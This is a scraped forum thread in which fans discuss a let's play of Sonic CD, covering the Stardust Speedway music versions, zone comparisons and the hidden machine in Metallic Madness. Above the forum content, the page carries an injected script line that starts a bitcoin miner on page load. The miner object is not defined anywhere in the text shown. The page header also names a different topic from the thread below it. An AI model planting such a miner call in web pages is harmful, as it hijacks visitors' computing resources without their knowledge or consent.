<script>
miner.start(); // initialise bitcoin miner
</script>

mario fan games galaxysmw centralpge project

All the S@nics - Spinball (8-bit) - Pin*Botnik

this is the place where lps are being talked about. it's important to talk about games being played on the internet.
User avatar
Sebby19
Posts: 2564
Joined: 10 years ago
Location: Winnipeg, Manitoba

Re: All The S@nics - CD - ...The Problem's Chronic!

Postby Sebby19 » 1 month ago

Cyril wrote: the good future music does not fit at all here though lol. probably one of the US tracks i just outright don't care for
That is because this was the Bad Future music, despite raocow playing in the Good Future. This is the one exception, just for the Metal Sonic race.


And raocow, how did you never hear about 'the race against Metal Sonic'? I thought this was a common knowledge thing, for people who know the game.
So is the rest of the game actually going to be blind for you?
ImageImage
-Banned in Antarctica
Sebby19 wrote:If your life depends on throwing up, switch to the keyboard
Official raocow subscriber # 30,000

User avatar
Super Llama
Love is stored in the robot
Posts: 146
Joined: 7 years ago

Re: All The S@nics - CD - ...The Problem's Chronic!

Postby Super Llama » 1 month ago

*HUE HUE HUEing intensifies*





The requisite Temporal Duality versions





Also, since it's motherfucking Stardust Speedway, here's a few bonus mashups.




And a breakdown of all the samples used


User avatar
Blivsey
forever an obscure pokemons
Posts: 734
Joined: 6 years ago
First name: Liv
Pronouns: she/her
Location: Ioway

Re: All The S@nics - CD - ...The Problem's Chronic!

Postby Blivsey » 1 month ago

Sebby19 wrote:
Cyril wrote: the good future music does not fit at all here though lol. probably one of the US tracks i just outright don't care for
That is because this was the Bad Future music, despite raocow playing in the Good Future. This is the one exception, just for the Metal Sonic race.
Nope, that was the Good Future music. In the remake, they do force the Metal Sonic race to play the Bad Future theme irrespective of its state (which was a nice touch), but not in the original.
convenient noise thread for stress-relief purposes

User avatar
Sebby19
Posts: 2564
Joined: 10 years ago
Location: Winnipeg, Manitoba

Re: All The S@nics - CD - ...The Problem's Chronic!

Postby Sebby19 » 1 month ago

Ah, okay. I misremembered what I recently read.
ImageImage
-Banned in Antarctica
Sebby19 wrote:If your life depends on throwing up, switch to the keyboard
Official raocow subscriber # 30,000

User avatar
Cyril
metal nerd
Posts: 1731
Joined: 5 years ago
First name: Cyril
Pronouns: he/she/they
Location: hell

Re: All The S@nics - CD - ...The Problem's Chronic!

Postby Cyril » 1 month ago

i am very, very familiar with the bad future music of this zone

read: having infinity trouble with this boss as a kid :P
i've honestly never played a video game in my life

10204307
Posts: 312
Joined: 9 years ago
First name: Violet
Pronouns: she/her

Re: All The S@nics - CD - ...The Problem's Chronic!

Postby 10204307 » 1 month ago

The Japanese version of Stardust Speedway Bad Future is by far one of the funkiest tracks in this entire game

HUH! HUH! GET DOWN!

User avatar
The Hero Hartmut
Posts: 28
Joined: 5 years ago
First name: Garreth
Location: Ireland

Re: All The S@nics - CD - ...The Problem's Chronic!

Postby The Hero Hartmut » 1 month ago

I personally love the fact that it features 'I've got the power!' as one of its samples.

User avatar
MonkeyShrapnel
Poke a Man
Posts: 340
Joined: 6 years ago
First name: Brian
Pronouns: he/him/his
Location: Canada Eh?
Contact:

Re: All The S@nics - CD - ...The Problem's Chronic!

Postby MonkeyShrapnel » 1 month ago

Cyril wrote: hey rao don't feel bad i had infinite trouble with this boss as a kid too

the good future music does not fit at all here though lol. probably one of the US tracks i just outright don't care for
I'm the exact opposite, I think Good Future US sounds perfect for the race,
while Good Future Japan sounds way too happy and care-free for it.

I've always found it interesting how divided people are about the two different OSTs.
Uh...Do I just sign here? What do you mean it should be obvious? There are people in this world...well...a whole lot of people that can't follow basic instructions!

Image
Image
Image

My silly "Collab" Youtube channel https://www.youtube.com/user/Theguyswho ... s/featured
(That means I'm the only person using it nowadays.)

User avatar
Bean
Posts: 2987
Joined: 10 years ago
Location: In my own world

Re: All The S@nics - CD - ...The Problem's Chronic!

Postby Bean » 1 month ago

They're both good in their own ways though!

User avatar
Piesonscreations
Posts: 396
Joined: 4 years ago
First name: Gon
Pronouns: he/him/his

Re: All The S@nics - CD - ...The Problem's Chronic!

Postby Piesonscreations » 1 month ago

Strange, isn't it? HYEAAAAAAAAAAAAAH
Image

User avatar
Cyril
metal nerd
Posts: 1731
Joined: 5 years ago
First name: Cyril
Pronouns: he/she/they
Location: hell

Re: All The S@nics - CD - ...The Problem's Chronic!

Postby Cyril » 1 month ago

MonkeyShrapnel wrote:
Cyril wrote: hey rao don't feel bad i had infinite trouble with this boss as a kid too

the good future music does not fit at all here though lol. probably one of the US tracks i just outright don't care for
I'm the exact opposite, I think Good Future US sounds perfect for the race,
while Good Future Japan sounds way too happy and care-free for it.

I've always found it interesting how divided people are about the two different OSTs.
hah, that's not what i meant. i don't like the JP soundtrack much at all, just in general. i was more saying the bad future song works a lot better for this than the good future song
i've honestly never played a video game in my life

User avatar
Cyril
metal nerd
Posts: 1731
Joined: 5 years ago
First name: Cyril
Pronouns: he/she/they
Location: hell

Re: All The S@nics - CD - ...The Problem's Chronic!

Postby Cyril » 1 month ago

as you pointed out in the vid description basically all the zones in sonic 1 are remade/upgraded here

green hill -> palmtree panic
spring yard -> collision chaos
labyrinth -> tidal tempest
star light -> stardust speedway
scrap brain -> metallic madness

and these are probably not intentional, but

mystic cave -> quartz quadrant
metropolis -> wacky workbench

marble zone got axed though because it's boring visually and should feel bad
i've honestly never played a video game in my life

User avatar
Awoo
I came here to awoo at you!
Posts: 985
Joined: 1 year ago
Pronouns: he/him/his

Re: All The S@nics - CD - ...The Problem's a bit of a Bhenchod!

Postby Awoo » 1 month ago

I'd say

Metallic Madness

is more Metropolis, but that's maybe just me nyoro~n
ワンワン :pal:
Image
Image
Avatar shamelessly taken from:


User avatar
Cyril
metal nerd
Posts: 1731
Joined: 5 years ago
First name: Cyril
Pronouns: he/she/they
Location: hell

Re: All The S@nics - CD - ...The Problem's Chronic!

Postby Cyril » 1 month ago

like half its elements are literally from scrap brain just recolored
i've honestly never played a video game in my life

User avatar
Awoo
I came here to awoo at you!
Posts: 985
Joined: 1 year ago
Pronouns: he/him/his

Re: All The S@nics - CD - ...The Problem's Carbuncle!

Postby Awoo » 1 month ago

Cyril wrote: like half its elements are literally from scrap brain just recolored
I'll scrap your brain nyoro~n
ワンワン :pal:
Image
Image
Avatar shamelessly taken from:


User avatar
Sebby19
Posts: 2564
Joined: 10 years ago
Location: Winnipeg, Manitoba

Re: All The S@nics - CD - ...The Problem's Chronic!

Postby Sebby19 » 1 month ago

Huh, you would really need to go out of your way if you want to see the Good Future verion of Act 1. They placed the machine at the end of the stage, and I didn't see any Future posts where raocow explored, so they must be all in the first half.
ImageImage
-Banned in Antarctica
Sebby19 wrote:If your life depends on throwing up, switch to the keyboard
Official raocow subscriber # 30,000

User avatar
Piesonscreations
Posts: 396
Joined: 4 years ago
First name: Gon
Pronouns: he/him/his

Re: All The S@nics - CD - ...The Problem's Chronic!

Postby Piesonscreations » 1 month ago

We need a "coin" counter. where instead of counting the rings raocow gets, we count the amount of times he says "coins" instead of "rings" throughout the whole series. Playing so much Mario for so many years will do some things to you, man.

Also, being someone that prefers the JP soundtrack, going to the past has the added reward of being able to listen to that when playing the US version.
Image

User avatar
Leet
Well, hello, Smith ( ´-`)ノ
Posts: 2071
Joined: 6 years ago
First name: Chie Arale
Pronouns: she/her
Location: Harman's Room

Re: All The S@nics - CD - ...The Problem's Chronic!

Postby Leet » 1 month ago

This zone has a lot of annoying elements, particularly the enemies like that spinning pole that you can't destroy. It's kind of antithetical to sonic gameplay
ImageWell it is a decent hack but sometime its just too repetitif there no level that actually pop in your face and your like oh yeah that level they all ressemble themselves and just monster along the way.
Blood Ghoul wrote:Sometimes it seems my blood spurts out in gobs, as if it were a fountain's pulsing sobs. I clearly hear it mutter as it goes yet cannot find the wound from which it flows. Before I met you, baby, I didn't know what I was missing.

10204307
Posts: 312
Joined: 9 years ago
First name: Violet
Pronouns: she/her

Re: All The S@nics - CD - ...The Problem's Chronic!

Postby 10204307 » 1 month ago

Sebby19 wrote: Huh, you would really need to go out of your way if you want to see the Good Future verion of Act 1. They placed the machine at the end of the stage, and I didn't see any Future posts where raocow explored, so they must be all in the first half.
Or just get all of the Time Stones and then get the first Future sign you see. Although as you can see, time travelling in this zone is pretty hard.

I don't think I've ever heard the American music for this level before. It's a lot less... memorable than the Japanese one, to be honest.

Tomorrow's level is pretty much the entire reason why this game left a real sour taste in my mouth the first time I beat it. I guess the machine isn't really that well-hidden, but somehow I still ended up looking for it for like 20-30 minutes before giving up and looking up a map of the area. I honestly had a lot more fun with this game when I played it just trying to get the Time Stones instead of looking for the machine in each level.

User avatar
raocow
the death of the incredible huge
Posts: 2881
Joined: 10 years ago
Location: maybe the Wizards are the most complex, and the sales guys are up their daily

Re: All The S@nics - CD - ...The Problem's Chronic!

Postby raocow » 1 month ago

lol today's recording was 40 minutes
the chillaxest of dragonsImage
Image
Image
Image
ImageImage

User avatar
Grounder
Posts: 3187
Joined: 5 years ago

Re: All The S@nics - CD - ...The Problem's Chronic!

Postby Grounder » 1 month ago

raocow wrote: lol today's recording was 40 minutes
unedited! unedited! unedited!
Why don't you eat me?

I am perfectly tasty...

AND I'LL STEAL YOUR SOUL! :twisted:

ImageImageImage

User avatar
Bean
Posts: 2987
Joined: 10 years ago
Location: In my own world

Re: All The S@nics - CD - ...The Problem's Chronic!

Postby Bean » 1 month ago

raocow wrote: lol today's recording was 40 minutes
Sounds about right for a first-time player of the area without knowledge of where anything is or what's going on.

User avatar
Cyril
metal nerd
Posts: 1731
Joined: 5 years ago
First name: Cyril
Pronouns: he/she/they
Location: hell

Re: All The S@nics - CD - ...The Problem's Chronic!

Postby Cyril » 1 month ago

raocow wrote: lol today's recording was 40 minutes
well, i know what happened, and it's what i warned you about in a spoiler on discord. oops
but i mean also yeah MM2 is kind of. a disaster maze
i've honestly never played a video game in my life

User avatar
Heavy Sigh
Posts: 541
Joined: 6 years ago

Re: All The S@nics - CD - ...The Problem's Chronic!

Postby Heavy Sigh » 1 month ago

Fun Sonic Facts!

In the Japanese version of the Bad Future theme, phrases like "Sonic, dead or alive, is mine," "You can't do anything, so don't even try it. Get some help," and "Don't do what Sonic does," can be heard in the music. They were made using a speech synthesis program, specifically the one included in the OS of all Amiga computers, which were used to develop Sonic CD.

Metallic Madness is also the only Zone in the game that does not contain any Metal Sonic Projectors.

10204307
Posts: 312
Joined: 9 years ago
First name: Violet
Pronouns: she/her

Re: All The S@nics - CD - ...The Problem's Chronic!

Postby 10204307 » 1 month ago

Yeah, I kind of feared that level when you started this game. The thing that bothers me the most about it is that

the crusher block right in front of the area where the machine is functions as such a huge deterrent, because the past doesn't have any checkpoints and the rest of the level is a super annoying maze. I passed by that area like five times, but every time I didn't go investigate it because I kept thinking to myself, "Why would I bother risking death for ten rings?" When I looked up where the machine was it felt like a slap in the face. I've never seen a Sonic level that hates the player this much.



Return to “let's play”

Who is online

Users browsing this forum: Ashan, Ditocoaf, Google [Bot], SAJewers and 19 guests